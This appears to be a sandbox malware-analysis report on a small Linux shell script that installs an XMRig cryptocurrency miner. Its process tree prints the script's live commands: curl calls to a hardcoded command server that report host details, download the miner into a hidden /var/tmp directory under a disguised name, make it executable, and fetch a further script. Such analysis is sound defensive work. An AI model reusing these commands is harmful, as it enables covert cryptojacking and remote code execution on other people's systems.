Analysis
- max time kernel
14s - max time network
16s - platform
debian-9_armhf - resource
debian9-armhf-20260513-en - resource tags
arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem - submitted
02/10/2026, 12:17
Static task
static1
Behavioral task
behavioral1
Sample
s
Resource
ubuntu1804-amd64-20260513-en
7 signatures
150 seconds
Behavioral task
behavioral2
Sample
s
Resource
debian9-armhf-20260513-en
8 signatures
150 seconds
Behavioral task
behavioral3
Sample
s
Resource
debian9-mipsbe-20260513-en
8 signatures
150 seconds
Behavioral task
behavioral4
Sample
s
Resource
debian9-mipsel-20260513-en
8 signatures
150 seconds
General
- Target s
- Size 402B
- Sample261002-pf8gla1cpc
- SHA256 1b8ea6555bf4bcd8992365fa6177fdce1fe30950c9fa4f3ed26e23fadf8409fd
- MD5 870fea7e93e2183e85ff04ee3c918393
- SHA1 a386c4b90cdd08f91296426f559c52449ac15431
- SHA512 978785d1190dca7ec3c747e339f0a3aba5de421fae9e8be7cf1f86ce9b4a0c8dd210ce0ff6546916787f353695ee88892c62ce1d84ff5469fc279a6eccd1be8b
- TLSH T16FE0ABEE6070C0773B485004DB8A1B365882DAAA1CF00631CA96E92D51C80993FC7211
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Signatures
- XMRig Miner payload 2 IoCs
resource yara_rule behavioral2/files/fstream-1.dat family_xmrig behavioral2/files/fstream-1.dat xmrig - File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 774 chmod - Executes dropped EXE 1 IoCs
ioc pid Process /var/tmp/.nsc/sysmond 777 sh - Enumerates running processes
Discovers information about currently running processes on the system
- Checks CPU configuration 1 TTPs 7 IoCs
Checks CPU information which indicate if the system is a virtual machine.
description ioc Process File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl - Reads CPU attributes 1 TTPs 2 IoCs
description ioc Process File opened for reading /sys/devices/system/cpu/online sysctl File opened for reading /sys/devices/system/cpu/online ps -
description ioc Process File opened for reading /proc/43/status ps File opened for reading /proc/705/cmdline ps File opened for reading /proc/sys/kernel/osrelease sysctl File opened for reading /proc/9/cmdline ps File opened for reading /proc/295/stat ps File opened for reading /proc/566/stat ps File opened for reading /proc/566/cmdline ps File opened for reading /proc/582/cmdline ps File opened for reading /proc/filesystems sed File opened for reading /proc/14/stat ps File opened for reading /proc/295/status ps File opened for reading /proc/17/cmdline ps File opened for reading /proc/295/cmdline ps File opened for reading /proc/2/cmdline ps File opened for reading /proc/11/status ps File opened for reading /proc/42/cmdline ps File opened for reading /proc/76/cmdline ps File opened for reading /proc/281/cmdline ps File opened for reading /proc/filesystems ps File opened for reading /proc/4/cmdline ps File opened for reading /proc/23/cmdline ps File opened for reading /proc/25/status ps File opened for reading /proc/106/status ps File opened for reading /proc/169/cmdline ps File opened for reading /proc/298/stat ps File opened for reading /proc/734/stat ps File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/108/cmdline ps File opened for reading /proc/143/status ps File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/15/status ps File opened for reading /proc/283/cmdline ps File opened for reading /proc/16/stat ps File opened for reading /proc/27/cmdline ps File opened for reading /proc/140/status ps File opened for reading /proc/27/stat ps File opened for reading /proc/41/stat ps File opened for reading /proc/655/stat ps File opened for reading /proc/8/cmdline ps File opened for reading /proc/108/status ps File opened for reading /proc/109/stat ps File opened for reading /proc/713/status ps File opened for reading /proc/5/status ps File opened for reading /proc/642/status ps File opened for reading /proc/self/auxv curl File opened for reading /proc/26/status ps File opened for reading /proc/10/status ps File opened for reading /proc/645/cmdline ps File opened for reading /proc/734/status ps File opened for reading /proc/135/cmdline ps File opened for reading /proc/642/stat ps File opened for reading /proc/655/cmdline ps File opened for reading /proc/641/cmdline ps File opened for reading /proc/28/status ps File opened for reading /proc/43/cmdline ps File opened for reading /proc/76/status ps File opened for reading /proc/140/cmdline ps File opened for reading /proc/143/stat ps File opened for reading /proc/293/stat ps File opened for reading /proc/298/cmdline ps File opened for reading /proc/642/cmdline ps File opened for reading /proc/16/cmdline ps File opened for reading /proc/20/status ps
Processes
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/tmp/s/tmp/s1⤵PID:645
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/usr/bin/trtr -cd A-Za-z0-9._-2⤵PID:648
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/bin/hostnamehostname2⤵PID:647
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/usr/bin/cutcut -c1-202⤵PID:649
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/usr/bin/curlcurl -sk -m 15 "http://177.4.12.11:8080/s?ev=boot&v=x&h=debian9-armhf-202605"2⤵
- Checks CPU configuration
- Reads runtime system information
PID:652
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/bin/shsh2⤵
- Executes dropped EXE
PID:705 -
/bin/hostnamehostname3⤵PID:724
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/bin/unameuname -s3⤵PID:725
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/bin/unameuname -m3⤵PID:726
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/sbin/sysctlsysctl -n kern.osrelease3⤵
- Reads CPU attributes
- Reads runtime system information
PID:727
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/usr/bin/idid -u3⤵PID:728
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/usr/bin/curlcurl -sk -m 12 "http://177.4.12.11:8080/nsp2?t=vxdebian9-armhf-202605&h=debian9-armhf-20260513-en-8&v=env_Linux_armv7l_osrel=_uid=0"3⤵
- Checks CPU configuration
PID:729
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/bin/mkdirmkdir -p /var/tmp/.nsc3⤵PID:730
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/bin/mkdirmkdir -p /var/tmp/.nsc3⤵PID:731
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/bin/mkdirmkdir -p /var/tmp/.nsc3⤵PID:732
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/bin/grepgrep -c "[s]ysmond"3⤵PID:735
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/bin/psps -ax3⤵
- Reads CPU attributes
- Reads runtime system information
PID:734
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/bin/rmrm -f sysmond3⤵PID:738
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/usr/bin/curlcurl -sk -m 300 -o sysmond http://177.4.12.11:8080/xmrig-fbsd11-raw3⤵
- Checks CPU configuration
- Reads runtime system information
PID:739
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/usr/bin/trtr -d " "3⤵PID:773
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/usr/bin/wcwc -c3⤵PID:772
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/bin/chmodchmod 755 sysmond3⤵
- File and Directory Permissions Modification
PID:774
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/usr/bin/curlcurl -sk -m 12 "http://177.4.12.11:8080/nsp2?t=vxdebian9-armhf-202605&h=debian9-armhf-20260513-en-8&v=dl_sz=3620152"3⤵
- Checks CPU configuration
PID:775
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/bin/sedsed "s/[^a-zA-Z0-9._-]/_/g"3⤵PID:779
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/bin/sedsed -n 1p3⤵
- Reads runtime system information
PID:778
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/var/tmp/.nsc/sysmond./sysmond --version3⤵PID:777
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/usr/bin/curlcurl -sk -m 12 "http://177.4.12.11:8080/nsp2?t=vxdebian9-armhf-202605&h=debian9-armhf-20260513-en-8&v=ver=sh__38__._sysmond__Exec_format_error"3⤵
- Checks CPU configuration
- Reads runtime system information
PID:781
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/usr/bin/curlcurl -sk -m 12 "http://177.4.12.11:8080/nsp2?t=vxdebian9-armhf-202605&h=debian9-armhf-20260513-en-8&v=exe_fail_rc=0"3⤵
- Checks CPU configuration
PID:782
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/usr/bin/curlcurl -sk -m 120 http://177.4.12.11:8080/nsp2.sh2⤵
- Checks CPU configuration
- Reads runtime system information
PID:704
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Network
MITRE ATT&CK Enterprise v16
Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Virtualization/Sandbox Evasion
1System Checks
1Replay Monitor
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Downloads
- Path /var/tmp/.nsc/sysmond
- Size 3.5MB
- SHA256 9629553646ab51c36c18aa4cfbbb87a87fd9b87836b713089a3882082246b171
- MD5 5eafa37cdf767f4a8f2c9801d57c45a1
- SHA1 ee9f4f3cecd7d1949990cb46261bbabff20f142f
- SHA512 86c557548aff44f07888852ef5c5ea7c31acffe538835490de43ecf426dd91ced71831bea336d55dc3a61e3a3f27ce460155ee420fabff7ab3aacc63afd70095
- SSDEEP 49152:vNgMP3sOAFTzVv7bWRziCxCpn9ICnQtNK9zIhtc1+4nsG5RohMYb9F:ywCjbnCxCpPQtQIhtcc4n/oMYb9F
- TLSH T1AAF57C1AB261A47CD147C038579F55F2D6D8F0B5036A78FB1F87E6303A29CD25B28A36
- MD5 SHA1 SHA512 SSDEEP TLSH